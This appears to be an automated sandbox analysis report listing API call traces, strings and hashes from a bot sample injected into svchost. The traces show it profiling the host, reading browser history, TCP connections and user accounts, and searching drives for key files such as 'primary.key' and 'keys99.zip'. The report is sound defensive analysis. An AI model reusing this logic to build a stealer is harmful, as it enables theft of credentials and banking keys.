                                                                                                                                                                                                            • Opcode Fuzzy Hash: b7cbe1c8c54e898400676a98b1d5ddb11bfceec092903a2200cc263d8e9133b1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B6D05E76E05729CBCB20DF94A5052AEF730FB45731F0083AADE247338083351C118AD4

                                                                                                                                                                                                            Non-executed Functions

                                                                                                                                                                                                            Function 02D048C0 Relevance: 325.1, APIs: 164, Strings: 21, Instructions: 1339filetimeCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,02D5D3A4,74E15CE0), ref: 02D049F4
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?), ref: 02D04A14
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 02D04A25
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{BotVer: ,00000009,?,00000000), ref: 02D04A35
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,00000009,00000000), ref: 02D04A46
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04A5A
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000005,00000000), ref: 02D04A67
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,4.2.5,00000005,00000000,00000000), ref: 02D04A77
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,00000005,00000000), ref: 02D04A88
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04A9C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04AA9
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D04AB9
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,00000002,00000000), ref: 02D04ACA
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02D04ADE
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04AF2
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000A,00000000), ref: 02D04AFF
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Process: ,0000000A,00000000,00000000), ref: 02D04B0F
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,0000000A,00000000), ref: 02D04B20
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04B4C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04B5B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D04B6F
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 02D04B82
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04B96
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04BA3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D04BB3
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04BC4
                                                                                                                                                                                                            • GetUserNameA.ADVAPI32(?,00000104), ref: 02D04BD5
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04BE9
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 02D04BF6
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Username: ,0000000B,00000000,00000000), ref: 02D04C06
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 02D04C17
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04C42
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04C51
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D04C65
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04C78
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04C8C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04C99
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D04CA9
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04CBA
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(PROCESSOR_IDENTIFIER,?,00000104), ref: 02D04CD1
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04CE5
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 02D04CF2
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Processor: ,0000000C,00000000,00000000), ref: 02D04D02
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 02D04D13
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04D3E
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04D4D
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D04D61
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04D74
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04D88
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04D95
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D04DA5
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04DB6
                                                                                                                                                                                                            • GetSystemDefaultLangID.KERNEL32 ref: 02D04DBC
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D04DD6
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04E43
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 02D04E50
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Language: ,0000000B,00000000,00000000), ref: 02D04E60
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 02D04E71
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04E9C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04EAB
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D04EBF
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04ED2
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04EE6
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04EF3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D04F03
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D04F14
                                                                                                                                                                                                            • GetDC.USER32(00000000), ref: 02D04F1E
                                                                                                                                                                                                            • GetDeviceCaps.GDI32(00000000), ref: 02D04F25
                                                                                                                                                                                                            • GetSystemMetrics.USER32(00000001), ref: 02D04F2E
                                                                                                                                                                                                            • GetSystemMetrics.USER32(00000000), ref: 02D04F37
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D04F4F
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04F66
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 02D04F73
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Screen: ,00000009,00000000,00000000), ref: 02D04F83
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 02D04F94
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04FBF
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04FCE
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D04FE2
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D04FF5
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05009
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05016
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D05026
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05037
                                                                                                                                                                                                            • GetDateFormatA.KERNEL32(00000409,00000000,00000000,dd:MMM:yyyy,?,00000104), ref: 02D05057
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0506B
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000007,00000000), ref: 02D05078
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Date: ,00000007,00000000,00000000), ref: 02D05088
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000007,00000000), ref: 02D05099
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D050C4
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D050D3
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D050E7
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D050FA
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0510E
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D0511B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D0512B
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D0513C
                                                                                                                                                                                                            • GetTimeFormatA.KERNEL32(00000409,00000000,00000000,HH:mm:ss,?,00000104), ref: 02D0515C
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05170
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,0000000D,00000000), ref: 02D0517D
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Local time: ,0000000D,00000000,00000000), ref: 02D0518D
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000D,00000000), ref: 02D0519E
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D051CC
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D051DB
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D051EF
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D05202
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05216
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05223
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D05233
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05244
                                                                                                                                                                                                            • GetTimeZoneInformation.KERNEL32(?), ref: 02D05251
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D052B2
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D052C9
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000006,00000000), ref: 02D052D6
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{GMT: ,00000006,00000000,00000000), ref: 02D052E6
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000006,00000000), ref: 02D052F7
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05322
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D05331
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D05345
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D05358
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0536C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05379
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D05389
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D0539A
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D053AE
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 02D053BB
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Uptime: ,00000009,00000000,00000000), ref: 02D053CB
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 02D053DC
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0541C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D0542B
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D0543C
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,02D03CCD,00000000,00000000,00000000), ref: 02D0544F
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05463
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05470
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D05480
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05491
                                                                                                                                                                                                            • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02D054A3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D054B7
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000014,00000000), ref: 02D054C4
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Windows directory: ,00000014,00000000,00000000), ref: 02D054D4
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000014,00000000), ref: 02D054E5
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05510
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D0551F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 02D05533
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 02D05546
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0555A
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05567
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D05577
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05588
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0559C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 02D055A9
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,{Administrator: ,00000010,00000000,00000000), ref: 02D055B9
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 02D055CA
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D055D0
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D055F3
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D05625
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D05634
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D05645
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 02D05658
                                                                                                                                                                                                            • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D0566C
                                                                                                                                                                                                            • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05678
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,02D45A7C,00000002,00000000,00000000), ref: 02D05688
                                                                                                                                                                                                            • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 02D05696
                                                                                                                                                                                                              • Part of subcall function 02D046C0: RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\TypedURLs,00000000,00020119,?), ref: 02D046E5
                                                                                                                                                                                                              • Part of subcall function 02D046C0: _snprintf.MSVCRT ref: 02D0470D
                                                                                                                                                                                                              • Part of subcall function 02D046C0: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,75923490), ref: 02D04747
                                                                                                                                                                                                              • Part of subcall function 02D046C0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D04769
                                                                                                                                                                                                              • Part of subcall function 02D046C0: LockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 02D04775
                                                                                                                                                                                                              • Part of subcall function 02D046C0: WriteFile.KERNEL32(00000000,IE history:,0000000C,02D056A1,00000000), ref: 02D04789
                                                                                                                                                                                                              • Part of subcall function 02D046C0: UnlockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 02D04797
                                                                                                                                                                                                              • Part of subcall function 02D046C0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 02D047AB
                                                                                                                                                                                                              • Part of subcall function 02D046C0: LockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02D047B7
                                                                                                                                                                                                              • Part of subcall function 02D046C0: WriteFile.KERNEL32(00000000,02D45B10,00000001,00000000,00000000), ref: 02D047CB
                                                                                                                                                                                                              • Part of subcall function 02D046C0: UnlockFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02D047D9
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetProcessHeap.KERNEL32(00000008,00000C10,00000000,00000000,75923490), ref: 02D03F5D
                                                                                                                                                                                                              • Part of subcall function 02D03F40: HeapAlloc.KERNEL32(00000000), ref: 02D03F60
                                                                                                                                                                                                              • Part of subcall function 02D03F40: memset.MSVCRT ref: 02D03F74
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02D03FE4
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D03FF2
                                                                                                                                                                                                              • Part of subcall function 02D03F40: HeapValidate.KERNEL32(00000000), ref: 02D03FF5
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D04002
                                                                                                                                                                                                              • Part of subcall function 02D03F40: HeapFree.KERNEL32(00000000), ref: 02D04005
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetProcessHeap.KERNEL32(00000008,00000BED), ref: 02D0401D
                                                                                                                                                                                                              • Part of subcall function 02D03F40: HeapAlloc.KERNEL32(00000000), ref: 02D04020
                                                                                                                                                                                                              • Part of subcall function 02D03F40: memset.MSVCRT ref: 02D04030
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02D0404A
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D04057
                                                                                                                                                                                                              • Part of subcall function 02D03F40: HeapValidate.KERNEL32(00000000), ref: 02D0405A
                                                                                                                                                                                                              • Part of subcall function 02D03F40: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D0406B
                                                                                                                                                                                                              • Part of subcall function 02D03F40: HeapFree.KERNEL32(00000000), ref: 02D0406E
                                                                                                                                                                                                              • Part of subcall function 02D04290: memset.MSVCRT ref: 02D042C3
                                                                                                                                                                                                              • Part of subcall function 02D04290: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D042CE
                                                                                                                                                                                                              • Part of subcall function 02D04290: Process32First.KERNEL32 ref: 02D042F1
                                                                                                                                                                                                              • Part of subcall function 02D04290: GetHandleInformation.KERNEL32(00000000,?), ref: 02D0430D
                                                                                                                                                                                                              • Part of subcall function 02D04290: CloseHandle.KERNEL32(00000000), ref: 02D04327
                                                                                                                                                                                                              • Part of subcall function 02D044D0: NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,00000000,00000000,00000000,00000000,75923490,?,?,?,?,02D056B3,00000000), ref: 02D0451A
                                                                                                                                                                                                              • Part of subcall function 02D044D0: GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,?,02D056B3,00000000,00000000,00000000), ref: 02D04565
                                                                                                                                                                                                              • Part of subcall function 02D044D0: HeapAlloc.KERNEL32(00000000,?,?,?,?,02D056B3,00000000,00000000,00000000), ref: 02D0456C
                                                                                                                                                                                                              • Part of subcall function 02D044D0: memset.MSVCRT ref: 02D0457F
                                                                                                                                                                                                              • Part of subcall function 02D044D0: _snprintf.MSVCRT ref: 02D045CA
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000,00000000,00000000), ref: 02D056C4
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D056D5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$LockPointerUnlockWrite$Heap$Process$memset$HandleInformationSystem_snprintf$AllocUser$AdminCloseCreateFormatFreeMetricsNameQueryTableTimeValidate$CapsDateDefaultDeviceDirectoryDisplayEnvironmentFirstLangModuleOpenProcess32SnapshotToolhelp32ValueVariableWindowsZone
                                                                                                                                                                                                            • String ID: %c%d:%02d$%dx%d@%d$4.2.5$HH:mm:ss$PROCESSOR_IDENTIFIER$XXX$dd:MMM:yyyy$false$true${Administrator: ${BotVer: ${Date: ${GMT: ${Language: ${Local time: ${Process: ${Processor: ${Screen: ${Uptime: ${Username: ${Windows directory:
                                                                                                                                                                                                            • API String ID: 58573281-2909121063
                                                                                                                                                                                                            • Opcode ID: 3a73c53f9ecdfaa1266d9baebdd8a2d50388972b3012bc2bec64252897add4f6
                                                                                                                                                                                                            • Instruction ID: a3245e5e785a2825df973eee08853598f8e58677edb751119df45f8df1a94e82
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3a73c53f9ecdfaa1266d9baebdd8a2d50388972b3012bc2bec64252897add4f6
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9EA20174A91218BFFB209F90DC8AFEE77B8AF45B04F508545B701BA2C0D7F46A448B65
                                                                                                                                                                                                            Function 02D1D060 Relevance: 195.1, APIs: 94, Strings: 17, Instructions: 833COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1D080
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1D09D
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001,?,?,?,?,74E17390,?), ref: 02D1D0AD
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02D1D0BC
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001,?,?,?,?,74E17390,?), ref: 02D1D0D3
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?,?,?,?,?,74E17390,?), ref: 02D1D0EC
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?,?,?,?,?,74E17390,?), ref: 02D1D122
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(header.key,?,?,?,?,74E17390,?), ref: 02D1D135
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552,?,?,?,?,74E17390,?), ref: 02D1D164
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,74E17390,?), ref: 02D1D1A4
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,74E17390,?), ref: 02D1D1AA
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1D1B2
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1D1C1
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,?,?,?,74E17390,?), ref: 02D1D1C8
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,74E17390,?), ref: 02D1D1FE
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,74E17390,?), ref: 02D1D204
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1D20C
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1D21B
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,?,?,?,74E17390,?), ref: 02D1D222
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02D1DAB0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Error$Last$DirectoryModePath$AdminCreateDriveFolderMakeSystemUsermemset$AttributesBackslashCurrentFileLogicalStringsType
                                                                                                                                                                                                            • String ID: 5C590552$\header.key$\masks.key$\masks2.key$\name.key$\primary.key$\primary2.key$header.key$keys99$keys99.zip$masks.key$masks2.key$name.key$path99.txt$primary.key$primary2.key$\t
                                                                                                                                                                                                            • API String ID: 857499637-2285617392
                                                                                                                                                                                                            • Opcode ID: 699db779b7f40510c8bb3706221f0729e0b5e021ee3e114dfe896db5b277da99
                                                                                                                                                                                                            • Instruction ID: e23cadc0660f6a494a99547dfff2df958cc72cb24ac3d5b21bcaa2f7498935dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 699db779b7f40510c8bb3706221f0729e0b5e021ee3e114dfe896db5b277da99
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B5623438988346AFC711CF74F468AAA7BE6EF99704F548958E882C7301EB70DC48C791
                                                                                                                                                                                                            Function 02D0BA40 Relevance: 179.0, APIs: 63, Strings: 39, Instructions: 494libraryloaderfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • HeapCreate.KERNEL32(00000000,00000000,00000000), ref: 02D0BA57
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32 ref: 02D0BA62
